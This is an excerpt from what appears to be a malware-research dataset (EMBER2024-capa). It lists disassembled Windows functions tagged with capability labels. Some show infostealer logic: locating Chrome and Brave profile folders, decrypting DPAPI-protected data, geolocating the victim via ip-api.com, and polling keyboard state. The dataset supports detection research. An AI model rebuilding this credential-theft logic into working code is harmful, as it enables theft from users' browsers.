joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45b4b8
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x47fb50]
cmp dword [eax + 0x30], 0
je 0x45b562
cmp dword [ebx + 0x94], 0
jne 0x45b55c
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x45b448
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x45b55c
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45b522
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x45b55c
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00418c84
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x45b531
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x45c0c0
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x45c0f5
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404398
jmp 0x45c102
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.004042fc
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x45d214
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x45d255
mov eax, esi
call fcn.00443518
test al, al
je 0x45d255
mov eax, dword [ebx + 0x84]
call fcn.00443214
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x45d255
push 0
mov eax, dword [ebx + 0x84]
call fcn.00443214
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x4617b8
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 0x229], 0
jne 0x46187a
mov eax, dword [ebp - 4]
mov byte [eax + 0x228], 1
xor eax, eax
push ebp
push 0x461854
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2ac]
call fcn.00443214
push eax
call sub.user32.dll_ShowWindow
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2ac]
xor edx, edx
call fcn.0043bf20
mov eax, dword [ebp - 4]
mov byte [eax + 0x229], 1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x4c]
mov edx, dword [ebp - 4]
mov dword [edx + 0x238], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0xec]
mov edx, eax
mov eax, dword [ebp - 4]
call fcn.0043c1ec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46185b
mov eax, dword [ebp - 4]
mov byte [eax + 0x228], 0
ret
pop ebx
pop ecx
pop ebp
ret
Function at 0x461f0c
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 0x229], 0
je 0x461fe4
mov eax, dword [ebp - 4]
mov byte [eax + 0x228], 1
xor eax, eax
push ebp
push 0x461fbe
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2ac]
mov dl, 5
call fcn.0043bf20
push 5
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2ac]
call fcn.00443214
push eax
call sub.user32.dll_ShowWindow
mov eax, dword [ebp - 4]
mov byte [eax + 0x229], 0
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x238]
mov eax, dword [ebp - 4]
call fcn.0043c1ec
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x25c]
mov eax, dword [eax + 0x20c]
call fcn.00453b44
test al, al
je 0x461fa6
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x25c]
mov edx, dword [ebp - 4]
call fcn.00454824
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x461fc5
mov eax, dword [ebp - 4]
mov byte [eax + 0x228], 0
ret
pop ebx
pop ecx
pop ebp
ret
Function at 0x4706a0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x218], ecx
mov dword [ebp - 0x214], ecx
mov dword [ebp - 0x210], ecx
mov dword [ebp - 0x20c], ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x470900
push dword fs:[eax]
mov dword fs:[eax], esp
cmp ebx, 1
jl 0x470703
lea edx, [ebp - 0x20c]
mov eax, dword [ebp - 4]
call fcn.00470168
mov eax, dword [ebp - 0x20c]
mov edx, ebx
call fcn.0040c750
cmp al, 1
jne 0x470703
dec ebx
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 4]
call fcn.00470480
test al, al
je 0x47088f
cmp dword [ebp - 8], 0
jge 0x470721
xor eax, eax
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
inc ebx
lea edx, [ebp - 0x210]
mov eax, dword [ebp - 4]
call fcn.00470168
mov eax, dword [ebp - 0x210]
call fcn.00404568
cmp ebx, eax
jge 0x47076b
lea edx, [ebp - 0x214]
mov eax, dword [ebp - 4]
call fcn.00470168
mov eax, dword [ebp - 0x214]
mov al, byte [eax + ebx - 1]
mov edx, dword [0x47e4f0]
and eax, 0xff
bt dword [edx], eax
jae 0x47076b
inc ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x228]
cmp eax, dword [ebp - 8]
jg 0x47077f
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
mov ecx, ebx
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.0047067c
cmp ebx, dword [ebp - 8]
je 0x470881
lea eax, [ebp - 0x108]
push eax
call sub.user32.dll_GetKeyboardState
mov edx, pe_nt_image_headers32
lea eax, [ebp - 0x208]
mov byte [eax], 0
inc eax
dec edx
jne 0x4707ab
mov byte [ebp - 0x1f8], 0x81
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.004036e4
and eax, 0x7f
movzx eax, word [eax*2 + 0x47e040]
mov byte [ebp + eax - 0x208], 0x81
lea eax, [ebp - 0x208]
push eax
call sub.user32.dll_SetKeyboardState
mov eax, dword [ebp - 4]
mov byte [eax + 0x23c], 1
xor eax, eax
push ebp
push 0x47086e
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.004036e4
and eax, 0x7f
movzx eax, word [eax*2 + 0x47e040]
push eax
push pe_nt_image_headers32
mov eax, dword [ebp - 4]
call fcn.00443214
push eax
call sub.user32.dll_SendMessageA
push 1
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.004036e4
and eax, 0x7f
movzx eax, word [eax*2 + 0x47e040]
push eax
push 0x101
mov eax, dword [ebp - 4]
call fcn.00443214
push eax
call sub.user32.dll_SendMessageA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x470875
mov eax, dword [ebp - 4]
mov byte [eax + 0x23c], 0
ret
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov dword [eax + 0x230], edx
jmp 0x4708e2
cmp dword [ebp - 8], 0
jge 0x47089a
xor eax, eax
mov dword [ebp - 8], eax
lea edx, [ebp - 0x218]
mov eax, dword [ebp - 4]
call fcn.00470168
mov eax, dword [ebp - 0x218]
call fcn.00404568
cmp eax, dword [ebp - 8]
jg 0x4708d4
lea edx, [ebp - 0x21c]
mov eax, dword [ebp - 4]
call fcn.00470168
mov eax, dword [ebp - 0x21c]
call fcn.00404568
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.0047067c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x470907
lea eax, [ebp - 0x21c]
mov edx, 5
call fcn.004042cc
ret
Function at 0x47c630
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 8], ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404758
mov edi, 0x47fe34
xor eax, eax
push ebp
push 0x47c752
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x47fe60]
call fcn.00404568
mov dword [0x47fc80], eax
mov eax, dword [ebp - 4]
call fcn.00404568
mov dword [0x47fc84], eax
push 0x1f4
mov eax, 0x47fc88
mov ecx, 1
mov edx, dword [0x47bee4]
call fcn.00405574
add esp, 4
mov dword [edi], 1
mov eax, dword [0x47fc88]
mov edx, dword [edi]
mov ecx, dword [edi]
mov dword [eax + edx*4], ecx
inc dword [edi]
cmp dword [edi], 0x165
jne 0x47c69d
call fcn.0047c264
xor eax, eax
mov dword [edi], eax
xor eax, eax
mov dword [0x47fc8c], eax
mov eax, esi
call fcn.004042a8
mov ebx, dword [0x47fc84]
test ebx, ebx
jle 0x47c737
mov dword [0x47fc94], 1
call fcn.0047c160
mov eax, dword [0x47fc88]
mov edx, dword [edi]
mov eax, dword [eax + edx*4]
mov edx, dword [0x47fc88]
mov ecx, dword [0x47fc8c]
add eax, dword [edx + ecx*4]
mov ecx, 0x164
cdq
idiv ecx
mov eax, dword [0x47fc88]
mov edx, dword [eax + edx*4]
mov eax, dword [ebp - 4]
mov ecx, dword [0x47fc94]
movzx eax, byte [eax + ecx - 1]
xor edx, eax
lea eax, [ebp - 8]
call fcn.00404490
mov edx, dword [ebp - 8]
mov eax, esi
call fcn.00404570
inc dword [0x47fc94]
dec ebx
jne 0x47c6de
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47c759
lea eax, [ebp - 8]
mov edx, 2
call fcn.004042cc
ret

Function at 0x47c7b0
Capabilities:
Access peb ldr_data

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov esi, 0x47fe44
mov edi, 0x47fe2c
mov ebp, 0x47fd0c
call fcn.0047c584
call fcn.0047c59c
movzx ebx, word [ebp + 6]
dec ebx
test ebx, ebx
jb 0x47c7f7
inc ebx
mov dword [0x47fe34], 0
call fcn.0047c5d0
call fcn.0047c620
inc dword [0x47fe34]
dec ebx
jne 0x47c7e4
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x47fcc0], eax
mov eax, sub.kernel32.dll_LoadLibraryA
mov dword [0x47fe68], eax
mov eax, sub.kernel32.dll_GetProcAddress_1
mov dword [0x47fe64], eax
mov eax, dword [0x47fcc8]
add eax, dword [ebp + 0x80]
mov dword [edi], eax
jmp 0x47c84d
add ebx, dword [0x47fcc8]
push ebx
call dword [0x47fe68]
mov dword [0x47fe38], eax
call fcn.0047c3a4
add dword [edi], 0x14
mov eax, dword [edi]
mov ebx, dword [eax + 0xc]
test ebx, ebx
jne 0x47c833
mov eax, dword [0x47fcc8]
add eax, dword [ebp + 0xa0]
mov dword [0x47fe40], eax
mov eax, dword [0x47fe40]
mov dword [esi], eax
jmp 0x47c8ab
call fcn.0047bf3c
sub eax, 8
mov dword [esp], eax
xor eax, eax
mov dword [esp + 4], eax
fild qword [esp]
fdiv dword [0x47c8c8]
call fcn.00402ccc
mov dword [0x47fe48], eax
mov eax, dword [esi]
add eax, 8
mov dword [0x47fe4c], eax
call fcn.0047bf68
mov eax, dword [esi]
mov eax, dword [eax + 4]
add eax, dword [esi]
mov dword [esi], eax
mov eax, dword [esi]
sub eax, dword [0x47fe40]
cmp eax, dword [ebp + 0xa4]
jb 0x47c86f
call fcn.0047bf58
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x401526
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp], 0x100
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x14], eax
mov dword [esp + 8], 0x100
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], 0x100
call sub.KERNEL32.dll_GetTempPathA
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401591
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call fcn.004b0440
nop
mov eax, 0
jmp 0x401666
mov dword [esp + 4], str.Local_
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.msvcrt.dll_strstr
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0
jmp 0x4015d9
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
add edx, eax
mov eax, dword [ebp - 0x18]
add eax, 7
cmp edx, eax
jne 0x4015d5
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
add eax, edx
mov byte [eax], 0
jmp 0x4015e1
add dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0xc]
jl 0x4015b0
cmp dword [ebp + 0xc], 0
jne 0x40160d
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
add eax, edx
mov dword [esp + 8], 0x18
mov dword [esp + 4], str.GoogleChromeUser_Data_
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
add dword [ebp - 0xc], 0x18
jmp 0x401637
cmp dword [ebp + 0xc], 1
jne 0x401637
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
add eax, edx
mov dword [esp + 8], 0x26
mov dword [esp + 4], str.BraveSoftwareBrave_BrowserUser_Data_
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
add dword [ebp - 0xc], 0x26
cmp dword [ebp + 8], 0
je 0x401663
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
add edx, ecx
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0x14]
leave
ret
Function at 0x40187a
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
cmp dword [ebp + 8], 0
jne 0x401890
mov eax, 0
jmp 0x401934
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], 0
lea eax, [ebp - 0x1c]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0x14]
mov dword [esp], eax
call sub.CRYPT32.DLL_CryptUnprotectData
sub esp, 0x1c
test eax, eax
je 0x40192f
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], 1
mov dword [esp], eax
call sub.msvcrt.dll_calloc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401907
mov eax, 0
jmp 0x401934
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0x1c]
mov edx, eax
mov eax, dword [ebp + 0x10]
mov dword [eax], edx
mov eax, dword [ebp - 0xc]
jmp 0x401934
mov eax, 0
leave
ret
Function at 0x401bc9
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x274
call fcn.00401b95
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], 8
mov dword [esp + 4], str.default
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x40], 7
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], 0
call fcn.00401526
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x260], 0
lea edx, [ebp - 0x25c]
mov eax, 0
mov ecx, 0x40
mov edi, edx
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
lea eax, [ebp - 0x260]
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
lea edx, [ebp - 0x260]
mov eax, dword [ebp - 0x18]
add eax, edx
mov byte [eax], 0x5c
mov eax, dword [ebp - 0x18]
add eax, 1
mov byte [ebp + eax - 0x260], 0x2a
lea eax, [ebp - 0x15c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x260]
mov dword [esp], eax
call sub.KERNEL32.dll_FindFirstFileA
sub esp, 8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
jne 0x401cb3
mov eax, dword [ebp - 0x10]
jmp 0x401d6b
mov eax, dword [ebp - 0x15c]
and eax, 0x10
test eax, eax
je 0x401d3a
mov dword [esp + 4], str.Profile
lea eax, [ebp - 0x15c]
add eax, 0x2c
mov dword [esp], eax
call sub.msvcrt.dll_strstr
lea edx, [ebp - 0x15c]
add edx, 0x2c
cmp eax, edx
jne 0x401d3a
call fcn.00401b95
mov edx, dword [ebp - 0xc]
mov dword [edx + 0x44], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x44]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x15c]
add eax, 0x2c
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [eax + 0x40], edx
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x40]
add eax, 1
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], edx
lea edx, [ebp - 0x15c]
add edx, 0x2c
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
lea eax, [ebp - 0x15c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.KERNEL32.dll_FindNextFileA
sub esp, 8
test eax, eax
jne 0x401cb3
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.KERNEL32.dll_FindClose
sub esp, 4
mov eax, dword [ebp - 0x10]
mov edi, dword [ebp - 4]
leave
ret
Function at 0x40205f
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x434
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
call sub.WS2_32.dll_socket
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x40209b
mov eax, 0xfffffffe
jmp 0x4021c9
mov dword [esp], str.ip_api.com
call sub.WS2_32.dll_gethostbyname
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4020bd
mov eax, 0xffffffff
jmp 0x4021c9
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov word [ebp - 0x20], 2
mov dword [esp], 0x50
call sub.WS2_32.dll_htons
sub esp, 4
mov word [ebp - 0x1e], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.WS2_32.dll_connect
sub esp, 0xc
test eax, eax
jns 0x40210e
mov eax, 0xfffffffd
jmp 0x4021c9
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x38
mov dword [esp + 4], str.GET__line__fieldscountry_HTTP_1.1_r_nHost:_ip_api.com_r_n_r_n
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
jne 0x40214e
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.WS2_32.dll_closesocket
sub esp, 4
mov eax, 0xfffffffc
jmp 0x4021c9
mov dword [ebp - 0x420], 0
lea edx, [ebp - 0x41c]
mov eax, 0
mov ecx, 0xff
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x420]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.WS2_32.dll_recv
sub esp, 0x10
mov dword [esp + 4], str.Morocco
lea eax, [ebp - 0x420]
mov dword [esp], eax
call sub.msvcrt.dll_strstr
mov dword [esp + 8], eax
lea eax, [ebp - 0x420]
mov dword [esp + 4], eax
mov dword [esp], str._s____s_n
call sub.msvcrt.dll_printf
mov eax, 0
mov edi, dword [ebp - 4]
leave
ret
Function at 0x4095b4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov dword [esp], 0x14
mov dword [esp + 4], 0
call fcn.004060d8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4095ea
mov eax, 7
jmp 0x4096cf
movzx eax, byte [0x4b3024]
test al, al
je 0x409605
mov dword [esp], 0xc8
call fcn.0040a1f7
test eax, eax
je 0x409622
mov dword [esp + 8], 0x14
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_memset
jmp 0x409696
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 0xc]
mov dword [eax + 8], edx
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 0x10]
mov dword [eax + 0xc], edx
mov eax, dword [ebp - 0xc]
add eax, 4
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x409581
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.msvcrt.dll__beginthreadex]
call eax
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [eax], edx
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
test eax, eax
jne 0x409696
mov dword [esp + 8], 0x14
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 8]
test eax, eax
jne 0x4096c2
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call eax
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [eax + 4], edx
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
mov eax, dword [ebp + 0xc]
call eax
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [eax + 0x10], edx
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0xc]
mov dword [eax], edx
mov eax, 0
leave
ret
Function at 0x417ae2
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x88]
test eax, eax
je 0x417b48
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x88]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp - 0x1c]
mov dword [eax], edx
mov eax, dword [ebp - 0x1c]
mov edx, dword [eax + 0x10]
mov eax, dword [ebp + 8]
mov dword [eax + 0x88], edx
mov eax, dword [ebp - 0x1c]
mov dword [eax + 0x10], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 8]
mov dword [esp + 8], 8
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.msvcrt.dll_memset
jmp 0x417bef
mov eax, dword [ebp + 8]
movzx eax, word [eax + 0x8c]
movzx eax, ax
add eax, 0x28
mov edx, 0
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.004066b9
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp - 0x1c]
mov dword [eax], edx
cmp dword [ebp - 0x1c], 0
jne 0x417bc8
mov eax, dword [ebp + 0xc]
sub eax, 1
mov ecx, eax
mov ebx, 0
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x98]
cdq
mov edi, ebx
imul edi, eax
mov esi, edx
imul esi, ecx
add esi, edi
mul ecx
lea ecx, [esi + edx]
mov edx, ecx
mov ecx, dword [ebp + 8]
mov ecx, dword [ecx + 0x3c]
mov ebx, dword [ebp + 0x10]
mov dword [esp + 0xc], ebx
mov dword [esp + 4], eax
mov dword [esp + 8], edx
mov dword [esp], ecx
call fcn.0040502b
mov eax, 7
jmp 0x417c15
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 0x28]
mov eax, dword [ebp - 0x1c]
mov dword [eax + 8], edx
mov eax, dword [ebp - 0x1c]
mov word [eax + 0x1c], 0x20
mov eax, dword [ebp - 0x1c]
mov word [eax + 0x1e], 1
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp + 8]
mov dword [eax + 0x14], edx
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp + 0xc]
mov dword [eax + 0x18], edx
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x78]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
mov dword [eax + 0x78], edx
mov eax, 0
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x455e38
Capabilities:
Reference sql statements

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 8]
mov byte [eax + 0x10], 1
mov eax, dword [ebp + 0x18]
mov dword [esp + 0x18], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str.SELECT_1_FROM___w_.sqlite_master_WHERE_name_NOT_LIKE_sqliteX____ESCAPE_X_AND_sql_NOT_LIKE_create_virtual___AND_sqlite_rename_test__Q__sql__type__name___d___Q___Q_NULL
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0045c9ab
cmp dword [ebp + 0x10], 0
jne 0x455ea9
mov eax, dword [ebp + 0x18]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str.SELECT_1_FROM_temp.sqlite_master_WHERE_name_NOT_LIKE_sqliteX____ESCAPE_X_AND_sql_NOT_LIKE_create_virtual___AND_sqlite_rename_test__Q__sql__type__name__1___Q___Q_NULL
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0045c9ab
nop
leave
ret